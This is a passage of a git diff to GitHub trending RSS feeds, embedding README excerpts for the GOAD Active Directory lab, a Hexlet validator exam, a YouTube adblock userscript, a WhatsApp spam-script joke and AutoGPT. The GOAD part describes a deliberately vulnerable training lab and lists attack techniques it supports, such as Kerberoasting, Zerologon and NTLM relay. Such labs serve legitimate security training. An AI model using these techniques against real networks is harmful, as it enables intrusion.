src="https://raw.githubusercontent.com/Orange-Cyberdefense/GOAD/main/docs/img/GOAD-Light_schema.png"> </div> <ul> <li><a href="https://raw.githubusercontent.com/Orange-Cyberdefense/GOAD/main/ad/NHA/README.md">NHA</a> : A challenge with 5 vms and 2 domains. no schema provided, you will have to find out how break it.</li> </ul> <h2>Requirements</h2> <ul> <li> <p>Used space</p> <ul> <li>The lab takes about 77GB (but you have to get the space for the vms vagrant images windows server 2016 (22GB) / windows server 2019 (14GB) / ubuntu 18.04 (502M))</li> <li>The total space needed for the lab is ~115 GB (and more if you take snapshots)</li> </ul> </li> <li> <p>Linux operating system</p> <ul> <li>The lab intend to be installed from a <strong>Linux host</strong> and was tested only on this.</li> <li>Some people have successfully installed the lab from a windows OS, to do that they create the VMs with vagrant and have done the ansible provisioning part from a linux machine.</li> <li>In this case the linux machine used to do the provisioning must be setup with one adapter on NAT and one adapter on the same virtual private network as the lab.</li> </ul> </li> </ul> <h3>tldr; quick install</h3> <ul> <li>You are on linux, you already got virtualbox, vagrant and docker installed on your host and you know what you are doing, just run :</li> </ul> <pre><code class="language-bash">./goad.sh -t check -l GOAD -p virtualbox -m docker ./goad.sh -t install -l GOAD -p virtualbox -m docker </code></pre> <ul> <li>Now you can grab a coffee <span>☕</span> it will take time :)</li> </ul> <h2>Installation</h2> <ul> <li> <p>Installation depend of the provider you use, please follow the appropriate guide :</p> <ul> <li><a href="https://raw.githubusercontent.com/Orange-Cyberdefense/GOAD/main/docs/install_with_virtualbox.md">Install with Virtualbox</a></li> <li><a href="https://raw.githubusercontent.com/Orange-Cyberdefense/GOAD/main/docs/install_with_vmware.md">Install with VmWare</a></li> <li><a href="https://raw.githubusercontent.com/Orange-Cyberdefense/GOAD/main/docs/install_with_proxmox.md">Install with Proxmox</a></li> <li><a href="https://raw.githubusercontent.com/Orange-Cyberdefense/GOAD/main/docs/install_with_azure.md">Install with Azure</a></li> </ul> </li> <li> <p>Installation is in three parts :</p> <ol> <li>Templating : this will create the template to use (needed only for proxmox)</li> <li>Providing : this will instantiate the virtual machines depending on your provider</li> <li>Provisioning : it is always made with ansible, it will install all the stuff to create the lab</li> </ol> </li> </ul> <h3>Check before install</h3> <ul> <li>For linux users check dependencies installation before install :</li> </ul> <pre><code>./goad -t check -l &lt;LAB&gt; -p &lt;PROVIDER&gt; -m &lt;ANSIBLE_RUN_METHOD&gt; </code></pre> <ul> <li> <p>LAB: lab must be one of the following (folder in ad/)</p> <ul> <li>GOAD</li> <li>GOAD-Light</li> </ul> </li> <li> <p>PROVIDER : provider must be one of the following:</p> <ul> <li>virtualbox</li> <li>vmware</li> <li>azure</li> <li>proxmox</li> </ul> </li> <li> <p>ANSIBLE_RUN_METHOD : ansible method to use :</p> <ul> <li>local : to use local ansible install</li> <li>docker : to use docker ansible install</li> </ul> </li> <li> <p><strong>Please install all the needed tools before run the install process</strong></p> </li> <li> <p>There is no automatic installer for the dependencies tools (virtualbox, vagrant, python, ansible,... ) you will have to install them by yourself depending on your package manager an linux system.</p> </li> </ul> <h3>Install</h3> <ul> <li>Launch all the install (vagrant or terraform) vms creation followed by ansible provisioning :</li> </ul> <pre><code>./goad -t install -l &lt;LAB&gt; -p &lt;PROVIDER&gt; -m &lt;ANSIBLE_RUN_METHOD&gt; </code></pre> <ul> <li>The goad install will run all the ansible playbook one by one with a failover to restart the ansible playbook if something goes wrong (sometimes vms or playbook hit timeout so this will restart the playbook automatically)</li> </ul> <h2>Provisioning</h2> <ul> <li>The provisioning is always done with ansible, more detail on the ansible provisioning here : <a href="https://raw.githubusercontent.com/Orange-Cyberdefense/GOAD/main/docs/provisioning.md">Ansible provisioning</a></li> </ul> <h2>WriteUp</h2> <ul> <li>All the writeups of the Game Of Active Directory lab are available on this blog : <a href="https://mayfly277.github.io/categories/ad/">mayfly blog</a></li> </ul> <h2>Troubleshoot</h2> <ul> <li>see <a href="https://raw.githubusercontent.com/Orange-Cyberdefense/GOAD/main/docs/troubleshoot.md">troubleshoot</a></li> </ul> <h2>Road Map</h2> <ul> <li><input type="checkbox" checked disabled> Password reuse between computer (PTH)</li> <li><input type="checkbox" checked disabled> Spray User = Password</li> <li><input type="checkbox" checked disabled> Password in description</li> <li><input type="checkbox" checked disabled> SMB share anonymous</li> <li><input type="checkbox" checked disabled> SMB not signed</li> <li><input type="checkbox" checked disabled> Responder</li> <li><input type="checkbox" checked disabled> Zerologon</li> <li><input type="checkbox" checked disabled> Windows defender</li> <li><input type="checkbox" checked disabled> ASREPRoast</li> <li><input type="checkbox" checked disabled> Kerberoasting</li> <li><input type="checkbox" checked disabled> AD Acl abuse</li> <li><input type="checkbox" checked disabled> Unconstraint delegation</li> <li><input type="checkbox" checked disabled> Ntlm relay</li> <li><input type="checkbox" checked disabled> Constrained delegation</li> <li><input type="checkbox" checked disabled> Install MSSQL</li> <li><input type="checkbox" checked disabled> MSSQL trusted link</li> <li><input type="checkbox" checked disabled> MSSQL impersonate</li> <li><input type="checkbox" checked disabled> Install IIS</li> <li><input type="checkbox" checked disabled> Upload asp app</li> <li><input type="checkbox" checked disabled> Multiples forest</li> <li><input type="checkbox" checked disabled> Anonymous RPC user listing</li> <li><input type="checkbox" checked disabled> Child parent domain</li> <li><input type="checkbox" checked disabled> Generate certificate and enable ldaps</li> <li><input type="checkbox" checked disabled> ADCS - ESC 1/2/3/8</li> <li><input type="checkbox" checked disabled> Certifry</li> <li><input type="checkbox" checked disabled> Samaccountname/nopac</li> <li><input type="checkbox" checked disabled> Petitpotam unauthent</li> <li><input type="checkbox" checked disabled> Printerbug</li> <li><input type="checkbox" checked disabled> Drop the mic</li> <li><input type="checkbox" checked disabled> Shadow credentials</li> <li><input type="checkbox" checked disabled> Mitm6</li> <li><input type="checkbox" checked disabled> Add LAPS</li> <li><input type="checkbox" checked disabled> GPO abuse</li> <li><input type="checkbox" checked disabled> Add Webdav</li> <li><input type="checkbox" checked disabled> Add RDP bot</li> <li><input type="checkbox" checked disabled> Add full proxmox integration</li> <li><input type="checkbox" checked disabled> Add Gmsa (receipe created)</li> <li><input type="checkbox" checked disabled> Add azure support</li> <li><input type="checkbox" checked disabled> Refactoring lab and providers</li> <li><input type="checkbox" disabled> Add PPL</li> <li><input type="checkbox" disabled> Add Credential Guard</li> <li><input type="checkbox" disabled> Add Applocker</li> <li><input type="checkbox" disabled> Zone transfert</li> <li><input type="checkbox" disabled> Wsus</li> <li><input type="checkbox" disabled> Sccm</li> <li><input type="checkbox" disabled> Exchange</li> </ul> <h2>Lab organization</h2> <ul> <li>The lab configuration is located on the ad/ folder</li> <li>Each Ad folder correspond to a lab and contains the following files :</li> </ul> <pre><code>ad/ labname/ # The lab name must be the same as the variable : domain_name from the data/inventory data/ config.json #&nbsp;The json file containing all the variables and configuration of the lab inventory # The global lab inventory (provider independent) (this should no contains variables) files/ # This folder contains files you want to copy on your vms scripts/ # This folder contains ps1 scripts you want to play on your vm (Must be added in the "scripts" entries of your vms) providers/ # Your lab available provider vmware/ inventory # specific vmware inventory Vagrantfile # specific vmware vagrantfile virtualbox/ inventory # specific virtualbox inventory Vagrantfile # specific virtualbox vagrantfile proxmox/ terraform/ # specific proxmox terraform recipe inventory # specific proxmox inventory azure/ terraform/ # specific azure terraform recipe inventory # specific azure inventory </code></pre> <h2>Special Thanks to</h2> <ul> <li>Julien Arrault (Azure recipes)</li> <li>Thomas Rollain (tests &amp; some vulns writing)</li> <li>Quentin Galliou (tests)</li> </ul> <h2>Socials</h2> <p><a target="_blank" rel="noopener noreferrer" href="https://twitter.com/intent/follow?screen_name=M4yFly" title="Follow"><img src="https://img.shields.io/twitter/follow/M4yFly?label=@M4yFly&amp;style=social" width="100" height="30" alt="Twitter Mayfly"></a> <a target="_blank" rel="noopener noreferrer" href="https://discord.gg/NYy7rsMf3u" title="Join us on Discord"><img src="https://raw.githubusercontent.com/Orange-Cyberdefense/GOAD/main/docs/img/discord.png" width="100" height="30" alt="Join us on Discord"></a></p> <h2>Links</h2> <ul> <li><a href="https://unicornsec.com/home/siem-home-lab-series-part-1">https://unicornsec.com/home/siem-home-lab-series-part-1</a></li> <li><a href="https://github.com/jckhmr/adlab">https://github.com/jckhmr/adlab</a></li> <li><a href="https://www.jonathanmedd.net/2019/09/ansible-windows-and-powershell-the-basics-introduction.html">https://www.jonathanmedd.net/2019/09/ansible-windows-and-powershell-the-basics-introduction.html</a></li> <li><a href="https://www.secframe.com/badblood/">https://www.secframe.com/badblood/</a></li> <li><a href="https://josehelps.com/blog/2019-08-06_building-a-windows-2016-dc/">https://josehelps.com/blog/2019-08-06_building-a-windows-2016-dc/</a></li> <li><a href="https://medium.com/@vartaisecurity/lab-building-guide-virtual-active-directory-5f0d0c8eb907">https://medium.com/@vartaisecurity/lab-building-guide-virtual-active-directory-5f0d0c8eb907</a></li> <li><a href="https://www.ansible.com/blog/an-introduction-to-windows-security-with-ansible">https://www.ansible.com/blog/an-introduction-to-windows-security-with-ansible</a></li> <li><a href="https://github.com/rgl/windows-domain-controller-vagrant">https://github.com/rgl/windows-domain-controller-vagrant</a></li> <li><a href="https://www.sconstantinou.com/powershell-active-directory-delegation-part-1/">https://www.sconstantinou.com/powershell-active-directory-delegation-part-1/</a></li> <li><a href="https://www.shellandco.net/playing-acl-active-directory-objects/">https://www.shellandco.net/playing-acl-active-directory-objects/</a></li> <li><a href="https://github.com/clong/DetectionLab">https://github.com/clong/DetectionLab</a></li> <li><a href="https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces">https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces</a></li> <li>...</li> </ul> <h2>Note</h2> <ul> <li>This repo is based on the work of <a href="https://github.com/jckhmr/adlab">jckhmr</a> and <a href="https://github.com/kkolk/mssql">kkolk</a></li> </ul> + sseezov/l5-validator-test-v2 + 2023-10-30T01:30:13Z + tag:github.com,2023-10-30:/sseezov/l5-validator-test-v2 + + <p>Аналог аттестационного проекта для 2 курса 1 семестра в Хекслет колледж</p><hr><h2>Правила и регламент</h2> <ul> <li><a href="https://hexly.notion.site/d9289c18871c44508bc7c7f05a51d94f">Экзамен: правила, рекомендации и порядок проведения</a></li> </ul> <h2>Задание</h2> <p>Ваша задача написать валидатор, в котором есть ряд методов и свойств и экспортировать его из файла <em>src/index.js</em>. Валидатор позволяет проверять аргументы на соответствие необходимым условиям, которые были заданы с помощью методов валидатора.</p> <p>Пример использования:</p> <pre><code class="language-javascript">// создаем экземпляр валидатора const v = new Validator(); // определяем метод для валидации строк и связываем его с валидатором, обращаясь к нему через переменную. const schema = v.string(); // проверяем данные на соответствие строковому типу, с помощью метода isValid() schema.isValid('Hexlet'); // true schema.isValid(''); // true schema.isValid(null); // false schema.isValid(123); // false </code></pre> <h3>Примечания</h3> <p>Вы можете самостоятельно протестировать работу валидатора. В каталоге <em>src</em> разрешено использовать любые файлы и создавать новые, если это делает вашу разработку более удобной.</p> <p>Для тестирования валидатора, достаточно создать экземпляр валидатора, настроить валидацию с помощью методов и вызвать метод <code>validate()</code> с необходимым аргументом, после чего написать в терминале:</p> <pre><code class="language-bash">node src/index.js </code></pre> <h2>1 задача</h2> <p>Вам необходимо создать валидатор, который способен принимать аргумент и проводить его проверку на соответствие определенным условиям. В данной задаче мы ограничиваемся валидацией только строк. Для этого в вашем валидаторе должен быть метод <code>string()</code>, который создает экземпляр валидатора строк. Этот экземпляр обладает методом <code>isValid()</code>, который принимает данные на вход и возвращает значение true или false в зависимости от того, являются ли входные данные строкой или нет.</p> <p><strong>Параметры и методы</strong></p> <ul> <li>аргумент, который мы валидируем (проверяем)</li> <li>метод валидатора <code>string()</code>, который создает экземпляр валидатора строк</li> <li>метод экземпляра <code>isValid()</code>, который вызывается у экземпляра <code>string()</code>, он принимает данные на вход и валидирует</li> </ul> <pre><code class="language-javascript">const v = new Validator(); const schema = v.string(); schema.isValid(null); // false schema.isValid(''); // true schema.isValid(true); // false schema.isValid('123'); // true schema.isValid(0); // false </code></pre> <p>После добавления методов <code>string()</code> и <code>isValid()</code>, экземпляр валидатора будет проверять является ли аргумент типом данных <em>String</em>.</p> <h2>2 задача</h2> <p>а) Вам необходимо расширить функциональность экземпляра валидатора строк, добавив к нему метод <code>startsFromUpperCase()</code> . При вызове метода <code>startsFromUpperCase()</code>, он добавляет дополнительную проверку, которая будет выполняться при вызове метода <code>isValid()</code> на то, начинается ли строка с заглвной буквы.</p> <p>б) Вам необходимо расширить функциональность экземпляра валидатора строк, добавив к нему метод <code>length()</code> . При вызове метода <code>length()</code> c переданным аргументом, он добавляет дополнительную проверку, которая будет выполняться при вызове метода <code>isValid()</code> на то, соответствует ли длина строки заданной.</p> <p>в) Вам необходимо расширить функциональность экземпляра валидатора строк, добавив к нему метод <code>hasExclamation()</code> . При вызове метода <code>hasExclamation()</code>, он добавляет дополнительную проверку, которая будет выполняться при вызове метода <code>isValid()</code> на то, включает ли строка восклицательные знаки.</p> <p><strong>Методы</strong></p> <ul> <li>метод <code>startsFromUpperCase()</code>, который вызывается у экземпляра <code>string()</code>. Он добавляет проверку первой буквы в слове на то, является ли она заглавной</li> <li>метод <code>length()</code>, который вызывается у экземпляра <code>string()</code>. Он добавляет проверку строки на соответствие заданной длине</li> <li>метод <code>hasExclamation()</code>, который вызывается у экземпляра <code>string()</code>. Он добавляет проверку строки на наличие восклицательных знаков</li> </ul> <pre><code class="language-javascript">const v = new Validator(); const schema1 = v.string(); schema1.isValid('hexlet'); // true; const schema2 = v.string().startsFromUpperCase() schema2.isValid('hexlet'); // false; schema2.isValid(' hello?'); // false; schema2.isValid('Hi'); // true; schema2.isValid('!Hi'); // false; schema2.isValid('1Hi'); // false; const schema2 = v.string().length(5).startsFromUpperCase() schema2.isValid('hexlet'); // false; schema2.isValid(' hello?'); // false; schema2.isValid('Hieee'); // true; schema2.isValid('!Hide'); // false; const schema2 = v.string().length(5).startsFromUpperCase().hasExclamation() schema2.isValid('hexlet'); // false; schema2.isValid(' hello?'); // false; schema2.isValid('Hieee'); // false; schema2.isValid('Hide!'); // true; </code></pre> <p>После добавления методов <code>startsFromUpperCase()</code>, экземпляр валидатора строк будет проверять содержит ли аргумент заглавные буквы.</p> <h2>3 задача</h2> <p>Вам необходимо создать валидатор массивов, добавив к нему метод <code>array()</code>. Аналогично методу <code>string()</code>, метод <code>array()</code> создает экземпляр валидатора массивов. Для валидации массива у этого экземпляра также есть метод <code>isValid()</code>, который проверяет, является ли переданный аргумент массивом.</p> <p><strong>Методы</strong></p> <ul> <li>метод валидатора <code>array()</code>, который создает экземпляр валидатора массивов</li> <li>метод <code>isValid()</code>, который вызывается у экземпляра <code>array()</code>. Он проверяет является ли аргумент массивом</li> </ul> <pre><code class="language-javascript">const v = new Validator(); const schema = v.array(); schema.isValid([]); // true schema.isValid({}); // false schema.isValid(123); // false schema.isValid('Hexlet'); // false </code></pre> <p>После добавления метода <code>array()</code>, экземпляр валидатора сможет проверять переданные значения на соответствие экземпляру глобального объекта Array.</p> <h2>4 задача</h2> <p>Вам необходимо расширить функциональность экземпляра валидатора массивов. Кроме того, что он может валидировать, является ли аргумент массивом, он должен также иметь возможность проверять, соответствует ли какой-либо из вложенных массивов указанной глубине, если бы вызван метод <code>maxDepth()</code>, аргументом в котором является число, означающее необходимую глубину массива, где 0 - это отсутствие вложенных массивов.</p> <p><strong>Методы</strong></p> <ul> <li>метод <code>maxDepth()</code>, который вызывается у экземпляра <code>array()</code>. Он проверяет соответствует ли глубина вложенности в массиве заданному в <code>maxDepth()</code> аргументу. То есть в массиве не должно быть массивов с глубиной вложенности более чем значение аргумента.</li> </ul> <pre><code class="language-javascript">const v = new Validator(); const schema1 = v.array(); schema1.isValid([1, 2]); // true const schema2 = v.array().maxDepth(3); schema2.isValid([1, 2]); // true schema2.isValid([1, [2, [3]]]); // true schema2.isValid([1, [2, [3, [4]]]]); // false </code></pre> <p>После добавления метода <code>maxDepth()</code>, экземпляр валидатора массивов будет способен проверять, соответствует ли длина массива заданной в методе длине.</p> <h2>5 задача</h2> <p>Вам необходимо создать валидатор полей объекта, используя методы, представленные в предыдущих задачах. Для этого необходимо создать метод <code>object()</code>, который проверяет не сам объект, а данные внутри него на соответствием заданным валидаторам. Метод <code>Validator.object()</code> должен содержать метод <code>shape()</code>, позволяющий задать поля, подлежащие валидации, для объекта. Метод <code>shape()</code> принимает объект, в котором ключи представляют поля, которые требуется проверить, а значения - экземпляры валидаторов.</p> <p><strong>Методы</strong></p> <ul> <li>метод валидатора (экземпляр класса <em>Validator</em>) <code>object()</code>, который проверяет данные внутри объекта (поля объекта)</li> <li>метод <code>shape()</code>, который вызывается у экземпляра <code>object()</code>. Он позволяет задать поля валидации для объекта</li> </ul> <pre><code class="language-javascript">const v = new Validator(); // Позволяет описывать валидацию для свойств объекта const schema = v.object().shape({ name: v.string().startsFromUpperCase(), // теперь, при валидации объекта с ключом id, значение этого ключа пройдет валидацию в соответствии с текущими методами friends: v.array().maxDepth(0), }); schema.isValid({ name: 'Sergey', friends: ['mark', 'john', 'anna'] }); // true schema.isValid({ name: 12, friends: ['potatos', 'tomatos', 'oranges'] }); // false schema.isValid({ name: 'andrey', friends: ['sergey',['ivan', 'anatoly']] }); // false </code></pre> <p>После добавления методов <code>object()</code> и <code>shape()</code>, экземпляр валидатора сможет проверять поля объекта на соответствие заданным валидаторам</p> \ No newline at end of file diff --git a/javascript/weekly/index.xml b/javascript/weekly/index.xml deleted file mode 100644 index a5937366bba..00000000000 --- a/javascript/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub JavaScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:54:59Z - Weekly Trending of JavaScript in GitHub - - - TheRealJoelmatic/RemoveAdblockThing - 2023-10-29T01:54:59Z - tag:github.com,2023-10-29:/TheRealJoelmatic/RemoveAdblockThing - - <p>Removes The "Ad blocker are not allowed on Youtube"</p><hr><h1>Remove the Adblock Popup from YOUTUBE</h1> <p><a href="https://www.youtube.com/watch?v=jvSf10lgxs4&amp;ab_channel=Joelmatic"><img src="https://github.com/TheRealJoelmatic/RemoveAdblockThing/raw/main/Thumnail.jpg?raw=true" alt="picture"></a></p> <h2>Introduction</h2> <p>This repository contains a userscript designed to remove the annoying "Ad blocker are not allowed on Youtube" popup. Follow the instructions below to get started. We also have an undetected way of skipping ads if you get blocked from the video player.</p> <h2>Table of Contents:</h2> <ol> <li><a href="https://raw.githubusercontent.com/TheRealJoelmatic/RemoveAdblockThing/main/#introduction">Introduction</a></li> <li><a href="https://raw.githubusercontent.com/TheRealJoelmatic/RemoveAdblockThing/main/#installation">Installation</a></li> <li><a href="https://raw.githubusercontent.com/TheRealJoelmatic/RemoveAdblockThing/main/#how-to-bypass-the-video-player-ban-from-using-an-ad-blocker">How to bypass the video player ban from using an ad blocker</a></li> <li><a href="https://raw.githubusercontent.com/TheRealJoelmatic/RemoveAdblockThing/main/#usage">Usage</a></li> <li><a href="https://raw.githubusercontent.com/TheRealJoelmatic/RemoveAdblockThing/main/#contribution">Contribution</a></li> <li><a href="https://raw.githubusercontent.com/TheRealJoelmatic/RemoveAdblockThing/main/#license">License</a></li> </ol> <h2>Installation</h2> <ol> <li> <p><strong>Install Tampermonkey</strong>: If you haven't already, you need to install the Tampermonkey browser extension. You can find it for various browsers:</p> <ul> <li><a href="https://chrome.google.com/webstore/detail/tampermonkey/dhdgffkkebhmkfjojejmpbldmpobfkfo">Tampermonkey for Chrome</a></li> <li><a href="https://addons.mozilla.org/en-US/firefox/addon/tampermonkey/">Tampermonkey for Firefox</a></li> <li><a href="https://microsoftedge.microsoft.com/addons/detail/tampermonkey/iikmkjmpaadaobahmlepeloendndfphd">Tampermonkey for Edge</a></li> <li><a href="https://addons.opera.com/en-gb/extensions/details/tampermonkey-beta/">Tampermonkey for Opera/OperaGX</a></li> </ul> </li> <li> <p><strong>Open Tampermonkey Dashboard</strong>: Click on the Tampermonkey extension icon in your browser and select "Dashboard."</p> </li> <li> <p><strong>Create a New Script</strong>: In the Tampermonkey Dashboard, click on the "Utilities" tab and select "Create a new script."</p> </li> <li> <p><strong>Install the Script</strong>: <a href="https://github.com/TheRealJoelmatic/RemoveAdblockThing/raw/main/Youtube-Ad-blocker-Reminder-Remover.user.js">Click Here and Press Install</a>.</p> </li> <li> <p><strong>Enable the Script</strong>: Enable the script by clicking the switch next to the script name in the Tampermonkey Dashboard.</p> </li> <li> <p><strong>Disable your adblocker</strong>: <strong>whitelist YouTube on any Chrome extensions that block ads or any third-party things that disable ads</strong>. Don't worry our script removes ads on youtube.</p> </li> </ol> <h2>How to use the undetected AdBlock</h2> <p>Note this also allows you to watch videos when your video player banned from using adblock.</p> <ol> <li> <p><strong>Install the script</strong>: Install the script using the instructions above</p> </li> <li> <p><strong>Disable your adblocker</strong>: <strong>whitelist YouTube on any Chrome extensions that block ads or any third-party things that disable ads</strong>. Don't worry our script removes ads</p> </li> </ol> <h2>Usage</h2> <p>Once you've installed and enabled the userscript, it should start working automatically Enjoy.</p> <h2>Contribution</h2> <p>If you have any suggestions, bug reports, or want to contribute to this userscript, feel free to create issues or pull requests in this GitHub repository.</p> <p>Contributors</p> <ul> <li><a href="https://github.com/angelapuzzle">AngelPuzzle</a></li> <li><a href="https://github.com/oSumAtrIX">oSumAtrIX</a></li> <li><a href="https://github.com/Albedo-13">Albedo-13</a></li> <li><a href="https://github.com/SleepingPig35">SleepingPig35</a></li> <li><a href="https://github.com/marjansimic">marjansimic</a></li> <li><a href="https://github.com/Pecunia201">Pecunia201</a></li> <li><a href="https://github.com/henryli17">henryli17</a></li> <li><a href="https://github.com/ClientNode">ClientNode</a></li> <li><a href="https://github.com/androgouws911">androgouws911</a></li> </ul> <h2>License</h2> <p>This project is licensed under the <a href="https://raw.githubusercontent.com/TheRealJoelmatic/RemoveAdblockThing/main/LICENSE">MIT License</a>.</p> - - - Matt-Fontes/SendScriptWhatsApp - 2023-10-29T01:54:59Z - tag:github.com,2023-10-29:/Matt-Fontes/SendScriptWhatsApp - - <p>Script para enviar o Roteiro do filme Shrek, linha por linha, no WhatsApp</p><hr><h1>SendScriptWhatsApp</h1> <p>Código para enviar o Script inteiro de Shrek ou Bee Movie para seus amigos ou grupos do WhatsApp</p> <h2>Utilização</h2> <p>Abra <a href="https://github.com/Matt-Fontes/SendScriptWhatsApp/raw/main/shrekSendScript.js">shrekSendScript.js</a> Ou Abra <a href="https://github.com/Matt-Fontes/SendScriptWhatsApp/raw/main/beeMovieSendScript.js">beeMovieSendScript.js</a></p> <p>Copie todo o conteúdo (clique em raw -&gt; ctrl+a -&gt; ctrl+c)</p> <p>No WhatsApp Web abra o console do Browser</p> <p>Cole o código no console e aperte Enter</p> <p>Pronto</p> - - - Significant-Gravitas/AutoGPT - 2023-10-29T01:54:59Z - tag:github.com,2023-10-29:/Significant-Gravitas/AutoGPT - - <p>An experimental open-source attempt to make GPT-4 fully autonomous.</p><hr><h1>🌟 AutoGPT: the heart of the open-source agent ecosystem</h1> <p><a href="https://discord.gg/autogpt"><img src="https://dcbadge.vercel.app/api/server/autogpt?style=flat" alt="Discord Follow"></a> <a href="https://github.com/Significant-Gravitas/AutoGPT/stargazers"><img src="https://img.shields.io/github/stars/Significant-Gravitas/AutoGPT?style=social" alt="GitHub Repo stars"></a> <a href="https://twitter.com/Auto_GPT"><img src="https://img.shields.io/twitter/follow/auto_gpt?style=social" alt="Twitter Follow"></a> <a href="https://opensource.org/licenses/MIT"><img src="https://img.shields.io/badge/License-MIT-yellow.svg?sanitize=true" alt="License: MIT"></a></p> <p><strong>AutoGPT</strong> is your go-to toolkit for supercharging agents. With its modular and extensible framework, you're empowered to focus on:</p> <ul> <li>🏗️ <strong>Building</strong> - Lay the foundation for something amazing.</li> <li>🧪 <strong>Testing</strong> - Fine-tune your agent to perfection.</li> <li>👀 <strong>Viewing</strong> - See your progress come to life.</li> </ul> <p>Be part of the revolution! <strong>AutoGPT</strong> stays at the forefront of AI innovation, featuring the codebase for the reigning champion in the Open-Source ecosystem.</p> <hr> <p align="center"> <a href="https://lablab.ai/event/autogpt-arena-hacks"> <img src="https://lablab.ai/_next/image?url=https%3A%2F%2Fstorage.googleapis.com%2Flablab-static-eu%2Fimages%2Fevents%2Fcll6p5cxj0000356zslac05gg%2Fcll6p5cxj0000356zslac05gg_imageLink_562z1jzj.jpg&amp;w=1080&amp;q=75" alt="AutoGPT Arena Hacks Hackathon"> </a> </p> <p align="center"> <strong>We're hosting a Hackathon!</strong> <br> Click the banner above for details and registration! </p> <hr> <h2>🥇 Current Best Agent: AutoGPT</h2> <p>Among our currently benchmarked agents, AutoGPT scores the best. This will change after the hackathon - the top-performing generalist agent will earn the esteemed position as the primary AutoGPT 🎊</p> <p>📈 To enter, submit your benchmark run through the UI.</p> <h2>🌟 Quickstart</h2> <ul> <li> <p><strong>To build your own agent</strong> and to be eligible for the hackathon, follow the quickstart guide <a href="https://github.com/Significant-Gravitas/AutoGPT/raw/master/autogpts/forge/tutorials/001_getting_started.md">here</a>. This will guide you through the process of creating your own agent and using the benchmark and user interface.</p> </li> <li> <p><strong>To activate the best agent</strong> follow the guide <a href="https://github.com/Significant-Gravitas/AutoGPT/raw/master/autogpts/autogpt/README.md">here</a>.</p> </li> </ul> <p>Want to build your own groundbreaking agent using AutoGPT? 🛠️ There are three major components to focus on:</p> <h3>🏗️ the Forge</h3> <p><strong>Forge your future!</strong> The <code>forge</code> is your innovation lab. All the boilerplate code is already handled, letting you channel all your creativity into building a revolutionary agent. It's more than a starting point, it's a launchpad for your ideas. All tutorials are located <a href="https://medium.com/@aiedge/autogpt-forge-e3de53cc58ec">here</a>.</p> <p>📘 <a href="https://github.com/Significant-Gravitas/AutoGPT/tree/master/autogpts/forge">Learn More</a></p> <h3>🎯 the Benchmark</h3> <p><strong>Test to impress!</strong> The <code>benchmark</code> offers a stringent testing environment. Our framework allows for autonomous, objective performance evaluations, ensuring your agents are primed for real-world action.</p> <p>📘 <a href="https://github.com/Significant-Gravitas/AutoGPT/raw/master/benchmark">Learn More</a></p> <h3>🎮 the UI</h3> <p><strong>Take Control!</strong> The <code>frontend</code> is your personal command center. It gives you a user-friendly interface to control and monitor your agents, making it easier to bring your ideas to life.</p> <p>📘 <a href="https://github.com/Significant-Gravitas/AutoGPT/tree/master/frontend">Learn More</a></p> <hr> <h3>🔄 Agent Protocol</h3> <p>🔌 <strong>Standardize to Maximize!</strong> To maintain a uniform standard and ensure seamless compatibility, AutoGPT employs the <a href="https://agentprotocol.ai/">agent protocol</a> from the AI Engineer Foundation. This standardizes the communication pathways from your agent to the frontend and benchmark.</p> <h3>🤔 Questions? Problems? Suggestions?</h3> <h4>Get help - <a href="https://discord.gg/autogpt">Discord 💬</a></h4> <p><a href="https://discord.gg/autogpt"><img src="https://invidget.switchblade.xyz/autogpt" alt="Join us on Discord"></a></p> <p>To report a bug or request a feature, create a <a href="https://github.com/Significant-Gravitas/AutoGPT/issues/new/choose">GitHub Issue</a>. Please ensure someone else hasn’t created an issue for the same topic.</p> <p align="center"> <a href="https://star-history.com/#Significant-Gravitas/AutoGPT&amp;Date"> <img src="https://api.star-history.com/svg?repos=Significant-Gravitas/AutoGPT&amp;type=Date" alt="Star History Chart"> </a> </p> - - \ No newline at end of file diff --git a/jest-snapshot/daily/index.xml b/jest-snapshot/daily/index.xml index 0b29bab7849..56f7ad7a5bf 100644 --- a/jest-snapshot/daily/index.xml +++ b/jest-snapshot/daily/index.xml @@ -1,7 +1,7 @@ GitHub Jest Snapshot Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:34:55Z + 2023-10-30T01:30:19Z Daily Trending of Jest Snapshot in GitHub \ No newline at end of file diff --git a/jest-snapshot/weekly/index.xml b/jest-snapshot/weekly/index.xml deleted file mode 100644 index ba8329b6527..00000000000 --- a/jest-snapshot/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Jest Snapshot Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:55:14Z - Weekly Trending of Jest Snapshot in GitHub - - \ No newline at end of file diff --git a/jflex/daily/index.xml b/jflex/daily/index.xml index 304992c77fe..207886e8eae 100644 --- a/jflex/daily/index.xml +++ b/jflex/daily/index.xml @@ -1,7 +1,7 @@ GitHub JFlex Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:34:54Z + 2023-10-30T01:30:19Z Daily Trending of JFlex in GitHub \ No newline at end of file diff --git a/jflex/weekly/index.xml b/jflex/weekly/index.xml deleted file mode 100644 index 1bb919658c3..00000000000 --- a/jflex/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub JFlex Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:55:15Z - Weekly Trending of JFlex in GitHub - - \ No newline at end of file diff --git a/jinja/daily/index.xml b/jinja/daily/index.xml index f2ff2454567..c66b19b5f12 100644 --- a/jinja/daily/index.xml +++ b/jinja/daily/index.xml @@ -1,7 +1,7 @@ GitHub Jinja Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:34:53Z + 2023-10-30T01:30:21Z Daily Trending of Jinja in GitHub \ No newline at end of file diff --git a/jinja/weekly/index.xml b/jinja/weekly/index.xml deleted file mode 100644 index 5b901108fc0..00000000000 --- a/jinja/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Jinja Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:55:16Z - Weekly Trending of Jinja in GitHub - - \ No newline at end of file diff --git a/jison-lex/daily/index.xml b/jison-lex/daily/index.xml index 